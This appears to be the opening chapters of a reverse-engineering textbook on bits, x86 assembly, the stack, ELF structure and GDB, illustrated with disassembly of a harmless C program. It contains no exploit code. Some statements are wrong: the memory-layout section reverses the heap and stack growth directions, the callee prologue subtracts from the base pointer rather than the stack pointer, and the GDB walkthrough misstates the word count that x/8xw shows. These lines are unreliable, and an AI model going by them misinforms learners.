Contents

1 A Crash Course on Computers

1.1 Bits, Bytes, and their Representations

1.1.1 Numbers in different bases

Bits are the fundamental unit of data on a computer. A bit can only be either on or off, 0 or 1. It's awkward to represent data in terms of bits, so they are usually referred to in groups. A string of eight consecutive bits is called a byte, and a pair of two bytes, or 16 bits, is called a word. Bytes are often further grouped into pairs, called double words, or groups of four, called quad words.

Since a bit can only take on one of two values, computers store numbers in base two, or binary. Just as the digits of a number in base 10 are each scaled by a power of 10, each bit in a binary number is scaled by a power of 2. The rightmost bit has a value of either 0 or 1 (scaled by 2^0, or 1), and every other bit is scaled by twice as much as the bit to its right. Therefore, if we zero-index the bits starting from the right, the ith bit is scaled by 2^i.

Example 1.1 (Numbers in base 2)

$$\begin{aligned} 11010110_2 &= 1 \times 2^7 + 1 \times 2^6 + 0 \times 2^5 + 1 \times 2^4 + 0 \times 2^3 + 1 \times 2^2 + 1 \times 2^1 + 0 \times 2^0 \\ &= 128 + 64 + 0 + 16 + 0 + 4 + 2 + 0 \\ &= 214 \end{aligned}$$

Note that the 2 subscript denotes a number written in base 2.

Since it's tedious to write bytes as strings of bits, they are often represented in base 16, or hexadecimal. This representation is convenient since 4 bits can be represented with a single hexadecimal digit. Since there are more hexadecimal digits than decimal ones, we use a-f as digits with values 10-15.

Example 1.2 (Numbers in base 16)

$$\begin{aligned} 11010110_2 &= 1101_2 \times 16^1 + 0110_2 \times 16^0 \\ &= 13 \times 16^1 + 6 \times 16^0 \\ &= \text{0xd6} \end{aligned}$$

Note that the 0x prefix denotes a number written in base 16.

1.1.2 2s complement

Since computers can only store data as bits, there is no inherent way to represent negative numbers. To address this problem, the highest-order bit is given a negative value when negative numbers are needed. This representation for negative numbers is called 2's complement. Whereas a string of n bits normally takes values from 0 to $2^n - 1$, the same n bits in 2's complement can take any values from -2^{n-1} to $2^{n-1} - 1$.

1.1.3 Machine Words

The number of bits that a computer can read, write, and manipulate at a time is called a machine word, not to be confused by the 16-bit words from above. A computer that operates on 16 bits at a time is said to run on a 16-bit architecture. The size of a machine word varies between computers.

At the time of writing, most modern computers have 64-bit machine words, and thus run on 64-bit architectures. The size of machine words generally gets smaller as the computer gets older. The original PlayStation and the GameCube ran on 32-bit architectures, and the original GameBoy had an 8-bit architecture. x86 is the most common 32-bit architecture, and it's successor x86-64, is the most common 64-bit architecture.

1.1.4 Endianness

Not all computers store multiple bytes of data in the same order. Some store the most significant byte first, which results in a number like `0x080485a2` being stored as `0x08 0x04 0x85 0xa2`. This is called big-endian byte order, and it is surprisingly rare. Most computers store data in little-endian byte order, which lists the least-significant byte first. The same number `0x080485a2` stored in little-endian byte order would be stored as `0xa2 0x85 0x04 0x08`.

1.2 Computer Model

Although we tend to think of a "computer" as consisting of many parts such as a monitor, hard disk, mouse, CD drive, etc., there are only three components we need to know about in order to exploit software.

1.2.1 The CPU

The Central Processing Unit, or CPU, is responsible for executing the instructions contained in a program. This typically includes performing arithmetic, reading and writing to memory, and making requests to the kernel via syscalls. Different CPUs understand different variants of machine code, and a CPU can only run an executable if it is written in the variant that the CPU understands.

1.2.2 Memory

Memory acts as both a scratchpad for the CPU to use while executing a program, and the place where the CPU reads program instructions. It is also used to keep track of function calls and handle recursion. Memory is the *only* place where the CPU can read and write data.

1.2.3 Registers

Registers are very fast memory located on the CPU. Although they are fast, each register can typically only store a single machine word, which means the vast majority of data must reside in main memory.

1.2.4 Compilers

A *compiler* translates source code into machine code, producing an object file. An object file cannot be run until it is linked, a task which is left to the linker.

1.2.5 Linkers

Linkers combine object files in a process called linking. This produces an executable, a binary which can be executed. This may sound confusing since we typically say that we run binaries after compiling them, but what programmers colloquially refer to as "compiling" is actually compiling *and* linking.

2 Understanding the Playing Field

2.1 x86 and x86-64

x86 CPUs have eight general-purpose registers. They are called `eax`, `ecx`, `edx`, `ebx`, `esp`, `ebp`, `esi`, `edi`. There are two other registers, `eip`, and `eflags`, which have specific uses and cannot be written to directly. Although each general-purpose register can technically be used for anything, they are conventionally used for specific purposes.

- `eax` (the accumulator) is used to store function return values
- `esp` (the stack pointer) points to the top (lowest address) of the current stack frame
- `ebp` (the base pointer) points to the base (highest) address of the current stack frame
- `eip` (the instruction pointer) points to the next instruction that the CPU will execute. Each time an instruction is executed, the `eip` is set to the next instruction.
- `eflags` (the flags register) contains several single-bit flags that describe the state of the CPU

Some parts of each register can be manipulated independently of others. For example, the lower 16 bits of `eax` are referred to as `ax`. The lower 8 bits of `ax` are referred to as `al`, and the higher 8 bits of `ax` are referred to as `ah`. There is a similar naming convention for `ecx`, `edx`, and `ebx`.

x86-64 extends the x86 registers mentioned above to 64 bits, and in doing so replaces the 'e' prefixes with 'r' prefixes (i.e. `rax`, `rflags`, etc.). It also adds eight more general-purpose registers (`r8` through `r15`), and eight 128-bit XMM registers.

2.2 Assembly, the Elven Tongue

Although we write typically write programs in C, a CPU can only execute instructions written in machine code. Machine code is unfortunately rather difficult to for humans to read, so we instead use assembly, a language whose instructions are one-to-one with machine code. Being comfortable reading assembly will be invaluable while trying to understand and exploit programs, so it will be useful to learn a few of the more common instructions.

2.2.1 Intel vs. AT&T

Assembly can be written in one of two ways: intel syntax and at&t syntax. Both have the same instructions and convey the same information, but most people find intel syntax a little bit easier to read. For the purposes of this book, all assembly will be written in intel syntax. If you're ever unsure what syntax your assembly is written in, just look for the $ and % characters that are heavily used in at&t syntax.

2.2.2 Common Assembly Instructions

Instructions in intel syntax are typically have one of two forms: `<instruction> <destination> <source>` or `<instruction> <argument>`. A few of the most common assembly instructions are listed below.

- `mov <destination> <source>` - write data specified by source to destination

- push <data> - decrement the stack pointer, then write the specified data to the top of the stack
- pop <data> - write data at the top of the stack to argument, then increment the stack pointer
- call <address> - push the address of the next instruction, then move address into rip
- ret - move the address at the top of the stack into rip, then increment the stack pointer
- nop - do absolutely nothing

There are several assembly instructions to perform arithmetic and bitwise operations on data.

- add <arg1> <arg2> - writes arg1 + arg2 to arg1
- sub <arg1> <arg2> - writes arg1 - arg2 to arg1
- imul <arg1> <arg2> - writes arg1 * arg2 to arg1
- idiv <arg> - writes rax / arg to rdx:rax (or architecture equivalent)
- xor <arg1> <arg2> - writes arg1 $\wedge$ arg2 to arg1
- and <arg1> <arg2> - writes arg1 & arg2 to arg1

$\wedge$ denotes bitwise xor, a binary operator which is 1 only when its arguments are different. & denotes bitwise and, another binary operator which is 1 only when both its arguments are 1.

Finally, there are a family of jump instructions that deserve special attention. The jmp instruction simply redirects execution to the address specified by its argument. Each of the others checks rflags and will only redirect execution if the flags meet a certain condition.

- jmp - unconditional jump
- je - jump if equal (to zero)
- jne - jump if not equal (to zero)
- jl - jump if less (than zero)
- jle - jump if less than or equal (to zero)
- jg - jump if greater (than zero)
- jge - jump if greater than or equal (to zero)
- cmp - perform subtraction, but ignore the result (only set rflags)
- test - perform and, but ignore the result (only set rflags)

When an assembly instruction references memory, it must specify both the location of size of that memory. The intel syntax for addressing memory is <size> PTR [<addr>], where the size is one of the following:

- BYTE - 1 byte

- `WORD` - 2 bytes
- `DWORD` - 4 bytes
- `QWORD` - 8 bytes

A snippet of assembly code is below. You now know enough to figure out what it does.

```
40052e:  mov    DWORD PTR [rbp-0x8],0x0
400535:  mov    DWORD PTR [rbp-0x4],0x0
40053c:  jmp    400548
40053e:  mov    eax,DWORD PTR [rbp-0x4]
400541:  add    DWORD PTR [rbp-0x8],eax
400544:  add    DWORD PTR [rbp-0x4],0x1
400548:  cmp    DWORD PTR [rbp-0x4],0xa
40054c:  jle    40053e
```

The key to reading assembly is to divide the code into sections and detail exactly what each line is doing. Then, you can determine how each of the sections interact with each other to learn what the entire program is doing.

```
40052e:  mov    DWORD PTR [rbp-0x8],0x0
400535:  mov    DWORD PTR [rbp-0x4],0x0
40053c:  jmp    400548
```

First the program writes 0 to `rbp-0x8` and `rbp-0x4`, then jumps to `0x400548`.

```
400548:  cmp    DWORD PTR [rbp-0x4],0xa
40054c:  jle    40053e
```

After the jump, the program compares `rbp-0x4` and `0xa`. More specifically, it computes `[rbp-0x4] - 0xa`, sets `rflags` according to the result, then throws it away. It then jumps to `0x40053e` if `rflags` is set according to a value less than or equal to zero. Since `rbp-0x4` was just set to 0 the result of the subtraction is `-0xa`, so the jump is taken.

```
40053e:  mov    eax,DWORD PTR [rbp-0x4]
400541:  add    DWORD PTR [rbp-0x8],eax
400544:  add    DWORD PTR [rbp-0x4],0x1
```

The program moves `[rbp-0x4]` into `eax`, computes `[rbp-0x8] + eax`, and overwrites `[rbp-0x8]` with the result. At this point, but `[rbp-0x8]` and `[rbp-0x4]` are 0, so the only effect is setting `[rbp-0x4]` to 1. After this block execution continues at `0x400548`, which we have alredy analyzed.

We can now analyze these sections of code. There are two variables, one at `[rbp-0x4]` and the other at `[rbp-0x8]`. The one at `[rbp-0x4]` is only changed by incrementing and used to check when to stop looping, so it functions as a counter. The variable at `[rbp-0x8]` stores a running sum. The instructions from `0x40053e` to `0x40054c` function as a loop, which runs 11 times (for values 0-10). Each time the loop runs it first adds the counter to the running sum then increments the counter. Therefore this program is calculating the sum of the first 10 integers (including zero), leaving the result in `[rbp-0x8]`.

This is commonly used with the `mov` instruction, i.e. `mov QWORD PTR [rbp-0x8],rax`.

2.3 The Stack and Heap

The most important use of the stack is in handling nested function calls. In order to make this work seamlessly, the functions follow a calling convention which outlines instructions for both the calling function (the caller) and the called function (the callee). The calling convention is as follows:

The caller shall:

1. Prepare the callee's arguments by either loading them into registers (x86-64) or pushing them onto the stack in reverse order (x86)
2. Execute the `call` instruction to jump to the new function and push the address of the next instruction onto the stack
3. After the callee returns, clear the stack of any callee arguments

At the *start* of execution, the callee shall:

1. Push the caller's base pointer onto the stack
2. Move the base pointer to point to the caller's saved base pointer
3. Subtract from the base pointer to make room for any local variables

At the *end* of execution, the callee shall:

1. Leave the return value in the accumulator
2. Move the stack pointer to point to the caller's saved base pointer
3. Restore the caller's base pointer by popping if off of the stack
4. Execute the `ret` instruction to return control to the caller

Note that the callee essentially undoes everything it did to build its new stack frame after it finishes execution. This way the caller can continue execution after finishing the calling convention with it's stack frame intact. Additionally, this calling convention allows for the callee to call other functions during it's execution, since the stack frames they build will be popped off the stack after they terminate. This means that we can nest function calls indefinitely as long as there is room on the stack to keep building stack frames!

You now know enough to understand a basic program written in assembly. Take this one, for example.

```
// elf.c
#include <stdio.h>

int main(void) {
    int num;
    printf("ELF example\n");
    scanf("%d\n", &num);
    return 0;
}
```

If you to compile this program with `gcc -o elf elf.c`, you will create a new ELF file called `elf`.

```
> gcc -o elf elf.c
> ls -l elf
-rwxrwxr-x 1 devneal devneal 8720 Nov  9 11:28 elf
>
```

We can use a tool called `objdump` to read a compiled program's assembly. Run `objdump -M intel -d elf` to see the disassembled program's machine code.

```
00000000004005f6 <main>:
  4005f6:       55                      push   rbp
  4005f7:       48 89 e5                mov    rbp,rsp
  4005fa:       48 83 ec 10             sub    rsp,0x10
  4005fe:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400605:       00 00
  400607:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  40060b:       31 c0                   xor    eax,eax
  40060d:       bf d4 06 40 00          mov    edi,0x4006d4
  400612:       e8 99 fe ff ff          call   4004b0 <puts@plt>
  400617:       48 8d 45 f4             lea    rax,[rbp-0xc]
  40061b:       48 89 c6                mov    rsi,rax
  40061e:       bf e0 06 40 00          mov    edi,0x4006e0
  400623:       b8 00 00 00 00          mov    eax,0x0
  400628:       e8 b3 fe ff ff          call   4004e0 <__isoc99_scanf@plt>
  40062d:       b8 00 00 00 00          mov    eax,0x0
  400632:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  400636:       64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28
  40063d:       00 00
  40063f:       74 05                   je     400646 <main+0x50>
  400641:       e8 7a fe ff ff          call   4004c0 <__stack_chk_fail@plt>
  400646:       c9                      leave
  400647:       c3                      ret
  400648:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  40064f:       00
```

The first three instructions are the function prologue, creating a new stack frame.

```
4005f6:       55                      push   rbp
4005f7:       48 89 e5                mov    rbp,rsp
4005fa:       48 83 ec 10             sub    rsp,0x10
```

The next two instructions may seem strange. The program reads a `QWORD` from somewhere into `rax`, then stores that values on the stack at `rbp-0x8`. It then uses a clever trick to zero out `eax`.

```
4005fe:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
400605:       00 00
400607:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
40060b:       31 c0                   xor    eax,eax
```

Next is a call to `puts()`. We can see the first argument (presumably a format string) being moved into `edi` preceding the call.

```
40060d:       bf d4 06 40 00          mov    edi,0x4006d4
400612:       e8 99 fe ff ff          call   4004b0 <puts@plt>
```

Now there's a call to `scanf()`. Since we called `scanf()` with two arguments, but `rdi` and `rsi` are set before the call. It then moves `0x0` into `eax` in order to return 0.

```
400617:       48 8d 45 f4             lea    rax,[rbp-0xc]
40061b:       48 89 c6                mov    rsi,rax
40061e:       bf e0 06 40 00          mov    edi,0x4006e0
400623:       b8 00 00 00 00          mov    eax,0x0
400628:       e8 b3 fe ff ff          call   4004e0 <__isoc99_scanf@plt>
40062d:       b8 00 00 00 00          mov    eax,0x0
```

This is followed by a few more instructions involving the mysterious value at `rbp-0x8`. Their purpose can be ignored for now, but we can tell that the program is comparing the value on the stack to the one that was originally placed there.

```
400632:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
400636:       64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28
40063d:       00 00
40063f:       74 05                   je     400646 <main+0x50>
400641:       e8 7a fe ff ff          call   4004c0 <__stack_chk_fail@plt>
```

Last, the program exits by executing the function epilogue followed by the `ret` instruction.

```
400646:       c9                      leave
400647:       c3                      ret
```

2.4 Memory Layout

Memory in a running program can be divided into sections, each of which is used for a specific purpose. They are, in order from lower addresses to higher addresses, `.text`, `.data`, `.bss`, `heap`, and `stack`.

- The `.text` section stores the program's executable code and is never writable.
- The `.data` section stores any static or global variables (in C terminology) that are initialized in the source code and writable.
- The `.bss` secition stores any static or global variables that are initialized to zero or not explicitly initialized in the source code.
- The `heap` is a section of memory which can be dynamically allocated at runtime. The heap grows downward, toward higher memory addresses.
- The `stack` is a section of memory which is used to store local variables and handle nested function calls. The stack grows upward, toward lower memory addresses.

2.5 ELF Anatomy

ELF, or Executable and Linkable Format, is the most common type of executable for Linux systems. Whenever you compile a program with 'gcc', the result is and ELF binary.

```
> file elf
elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
    interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1
    ]=6dc45433a562bb0eb99f962510ad71b3da43095d, not stripped
>
```

The output of the `file` command indicates that this ELF binary was compiled for a litte-endian (Least Significant Byte) x86-64 architecture. We can see more information with the `readelf` command.

```
> readelf --file-header elf
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400430
  Start of program headers:          64 (bytes into file)
  Start of section headers:          6616 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 28
>
```

We don't need most of this information right now, but there are a few interesting things. The "Magic" field indicates the first few bytes in the file, which always starts with `7f` followed by the ascii representation of the characters 'E' 'L' 'F'. The "Class" field is `ELF64`, indicating that this executable was compiled for a 64-bit architecture, and the "Data" field shows that the executable uses little-endian byte order. `readelf` is a useful tool for retreiving information about binaries, so it's worth getting familiar with it.

2.5.1 Symbols, Sections, and Segments

ELF binaries can be organized into *symbols*, *sections*, and *segments*. This grouping is heirarchical: segments are groups of sections and each section contains several symbols. Symbols are simply names for memory locations. Each symbol is identified by it's location in memory and it's size. We can view an ELF file's symbols by passing the `--symbols` flag to `readelf`.

```
> readelf --symbols elf | tail -n 10
    57: 00000000004005c0     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    58: 0000000000400540   101 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
    59: 0000000000601040     0 NOTYPE  GLOBAL DEFAULT   26 _end
    60: 0000000000400430    42 FUNC    GLOBAL DEFAULT   14 _start
    61: 0000000000601038     0 NOTYPE  GLOBAL DEFAULT   26 __bss_start
    62: 0000000000400526    21 FUNC    GLOBAL DEFAULT   14 main
    63: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
    64: 0000000000601038     0 OBJECT  GLOBAL HIDDEN    25 __TMC_END__
    65: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND
        _ITM_registerTMCloneTable
    66: 00000000004003c8     0 FUNC    GLOBAL DEFAULT   11 _init
```

```
>
```

Here we can see that the symbol for `main()` is located at address `0x400526` and has a size of 21 bytes. The compiler adds many more symbols for the linker to use.

Each section of the binary is used for a different purpose. We've already seen the `.text` section, which stores machine code, the `.data` section, which stores initialized global or static variables, and the `.bss` section, which stores uninitialized global or static variables. To list all of the sections in an ELF binary, pass the `--sections` flag to `readelf`.

```
> readelf --sections elf
There are 31 section headers, starting at offset 0x19d8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       0000000000000060  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400318  00000318
       000000000000003d  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           0000000000400356  00000356
       0000000000000008  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400360  00000360
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             0000000000400380  00000380
       0000000000000018  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             0000000000400398  00000398
       0000000000000030  0000000000000018  AI       5    24     8
  [11] .init             PROGBITS         00000000004003c8  000003c8
       000000000000001a  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         00000000004003f0  000003f0
       0000000000000030  0000000000000010  AX       0     0     16
  [13] .plt.got          PROGBITS         0000000000400420  00000420
       0000000000000008  0000000000000000  AX       0     0     8
  [14] .text             PROGBITS         0000000000400430  00000430
       0000000000000182  0000000000000000  AX       0     0     16
  [15] .fini             PROGBITS         00000000004005b4  000005b4
       0000000000000009  0000000000000000  AX       0     0     4
  [16] .rodata           PROGBITS         00000000004005c0  000005c0
       0000000000000010  0000000000000000   A       0     0     4
  [17] .eh_frame_hdr     PROGBITS         00000000004005d0  000005d0
       0000000000000034  0000000000000000   A       0     0     4
  [18] .eh_frame         PROGBITS         0000000000400608  00000608
       00000000000000f4  0000000000000000   A       0     0     8
```

```
  [19] .init_array       INIT_ARRAY       0000000000600e10  00000e10
       0000000000000008  0000000000000000  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       0000000000600e18  00000e18
       0000000000000008  0000000000000000  WA       0     0     8
  [21] .jcr              PROGBITS         0000000000600e20  00000e20
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .dynamic          DYNAMIC          0000000000600e28  00000e28
       00000000000001d0  0000000000000010  WA       6     0     8
  [23] .got              PROGBITS         0000000000600ff8  00000ff8
       0000000000000008  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000028  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000601028  00001028
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000601038  00001038
       0000000000000008  0000000000000000  WA       0     0     1
  [27] .comment          PROGBITS         0000000000000000  00001038
       0000000000000034  0000000000000001  MS       0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  000018ca
       000000000000010c  0000000000000000           0     0     1
  [29] .symtab           SYMTAB           0000000000000000  00001070
       0000000000000648  0000000000000018          30    47     8
  [30] .strtab           STRTAB           0000000000000000  000016b8
       0000000000000212  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
>
```

We can see from the output above that the `.text` section is not writable (as expected), but the `.data` and `.bss` sections are. Among the new sections are `.plt` and `.got.plt`, both of which are important for linking.

We can view the binary's segments with `readelf --segments`.

```
> readelf --segments elf

Elf file type is EXEC (Executable file)
Entry point 0x400430
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000006fc 0x00000000000006fc  R E    200000
  LOAD           0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x0000000000000228 0x0000000000000230  RW     200000
```

```
  DYNAMIC        0x0000000000000e28 0x0000000000600e28 0x0000000000600e28
                 0x00000000000001d0 0x00000000000001d0  RW     8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      4
  GNU_EH_FRAME   0x00000000000005d0 0x00000000004005d0 0x00000000004005d0
                 0x0000000000000034 0x0000000000000034  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO      0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x00000000000001f0 0x00000000000001f0  R      1

 Section to Segment mapping:
  Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .
      gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text
      .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got
>
```

This shows us the segments, their permissions, and which sections are contained in each segment. For example, the `.data` and `.bss` sections are located in the third segment, which has a type of `LOAD`. We also see that this segment has both read and write permissions.

2.5.2 PLT and GOT

One of the most useful attributes of ELF binaries is the fact that they can use each other's data through a process called linking. Although linking is conceptually simple, it's implementation is rather complex due to the fact that shared libraries must function properly regardless of where they are loaded into memory. This means that ELF binaries need some way to determine the locations of their shared library functions at runtime. ELF binaries use two data structures to achieve this - the Procedure Linkage Table (PLT) and Global Offset Table (GOT).

The PLT is a list of code stubs which are called in place of shared library functions, and the GOT is a list of pointers where the PLT will redirect execution. Each shared library function in the ELF has an entry in both the PLT and the GOT. The first entry in the PLT is used to call the resolver, and each following entry is used to call a shared library function. Each PLT entry other than the first consists of a jump to the corresponding address in the GOT, a push onto the stack to prepare the resolver, and a jump to the resolver. When the program is first loaded, each shared function's GOT entry points back to the PLT instructions to prepare and call the resolver. When the function is first called, the resolver will find the address of the function in libc (or other library), write the address to the GOT, and call the function. The next time the function is called, the PLT will redirect execution to the library code, so the resolution is only performed once.

2.6 Stepping through with GDB

We can use a debugger to step through an ELF file's execution one instruction at a time, inspecting and modifying its data as we please. This is a powerful tool for learning about a new executable. We're going to use the GNU debugger (GDB), since it's widely available and very powerful. To start debugging a program, run gdb ¡program¿. Not much will happen, since gdb is run only through the command line.

```
> gdb elf
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from elf...(no debugging symbols found)...done.
(gdb)
```

It's useful to have a few survival gdb commands to get started. These can get you pretty far:

- help - get information on how to use a command
- disassemble - show disassembly of a function
- break - set a breakpoint
- run - run the program from the beginning
- where - display your current location
- info registers - display register status
- info breakpoints - display breakpoint status
- x - examine memory
- display - display memory at each breakpoint
- nexti - execute an instruction without following jumps / calls
- stepi - execute an instruction following jumps / calls
- continue - resume execution from a breakpoint

As explained in the welcome message, you can use `help` or `apropos` to get information if you get lost.

If you type part of a command and press tab twice, `gdb` will suggest ways to finish the command. If there is only one way to complete the command you *could* press tab to finish the command, but gdb will actually execute the completed command automatically. This walkthrough will use the full commands so that you can see them, but as you use the commands more, you'll want to start using the abbreviated versions.

To start, we can view the disassembly of `main()` by running `disassemble main`. However, by default this will display the assembly in att syntax. To switch to intel syntax, run `set disassembly intel`.

```
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004005f6 <+0>:     push   rbp
   0x00000000004005f7 <+1>:     mov    rbp,rsp
   0x00000000004005fa <+4>:     sub    rsp,0x10
   0x00000000004005fe <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400607 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040060b <+21>:    xor    eax,eax
   0x000000000040060d <+23>:    mov    edi,0x4006d4
   0x0000000000400612 <+28>:    call   0x4004b0 <puts@plt>
   0x0000000000400617 <+33>:    lea    rax,[rbp-0xc]
   0x000000000040061b <+37>:    mov    rsi,rax
   0x000000000040061e <+40>:    mov    edi,0x4006e0
   0x0000000000400623 <+45>:    mov    eax,0x0
   0x0000000000400628 <+50>:    call   0x4004e0 <__isoc99_scanf@plt>
   0x000000000040062d <+55>:    mov    eax,0x0
   0x0000000000400632 <+60>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400636 <+64>:    xor    rdx,QWORD PTR fs:0x28
   0x000000000040063f <+73>:    je     0x400646 <main+80>
   0x0000000000400641 <+75>:    call   0x4004c0 <__stack_chk_fail@plt>
   0x0000000000400646 <+80>:    leave
   0x0000000000400647 <+81>:    ret
End of assembler dump.
(gdb)
```

To pause execution at the start of `main()`, we'll first set a breakpoint there, then run the program.

```
(gdb) break main
Breakpoint 1 at 0x4005fa
(gdb) run
Starting program: /home/devneal/Security/REFE/textbook/elf

Breakpoint 1, 0x00000000004005fa in main ()
(gdb)
```

From here we can verify our location with the `where` and `info registers` commands. Since we only need to see the location of `rip`, we can use `info register rip` to see it exclusively.

```
(gdb) where
#0  0x00000000004005fa in main ()
(gdb) info register rip
rip            0x4005fa 0x4005fa <main+4>
(gdb)
```

From here we can use the `x` command to examine the state of the program. `x/5i $rip` will display the next 5 instructions to be executed, and `x/8xw $rsp` will display the first 5 hexadecimal words on the top of the stack. You can get more information on how to use `x` with `help x`.

```
(gdb) x/5i $rip
=> 0x4005fa <main+4>:   sub    rsp,0x10
   0x4005fe <main+8>:   mov    rax,QWORD PTR fs:0x28
   0x400607 <main+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x40060b <main+21>:  xor    eax,eax
   0x40060d <main+23>:  mov    edi,0x4006d4
(gdb) x/8xw $rsp
0x7fffffffdee0: 0x00400650      0x00000000      0xf7a2d830      0x00007fff
0x7fffffffdef0: 0x00000000      0x00000000      0xffffdfc8      0x00007fff
(gdb)
```

From the output above, we can see that the next instruction will subtract `0x10` from `$rsp`. We can execute this instruction by running `nexti` and verify that it behaved as expected.

```
(gdb) nexti
0x00000000004005fe in main ()
(gdb) x/5i $rip
=> 0x4005fe <main+8>:   mov    rax,QWORD PTR fs:0x28
   0x400607 <main+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x40060b <main+21>:  xor    eax,eax
   0x40060d <main+23>:  mov    edi,0x4006d4
   0x400612 <main+28>:  call   0x4004b0 <puts@plt>
(gdb) x/8xw $rsp
0x7fffffffded0: 0xffffdfc0      0x00007fff      0x00000000      0x00000000
0x7fffffffdee0: 0x00400650      0x00000000      0xf7a2d830      0x00007fff
(gdb)
```

As expected, `rip` is now pointing at the next instruction and `rsp` has been decremented by `0x10` (4 words). We can use the `display` command to view `rip` and `rsp` every time execution stops.

```
(gdb) display/5i $rip
1: x/5i $rip
=> 0x4005fe <main+8>:   mov    rax,QWORD PTR fs:0x28
   0x400607 <main+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x40060b <main+21>:  xor    eax,eax
   0x40060d <main+23>:  mov    edi,0x4006d4
   0x400612 <main+28>:  call   0x4004b0 <puts@plt>
(gdb) display/5xw $rsp
2: x/5xw $rsp
0x7fffffffded0: 0xffffdfc0      0x00007fff      0x00000000      0x00000000
0x7fffffffdee0: 0x00400650
(gdb)
```

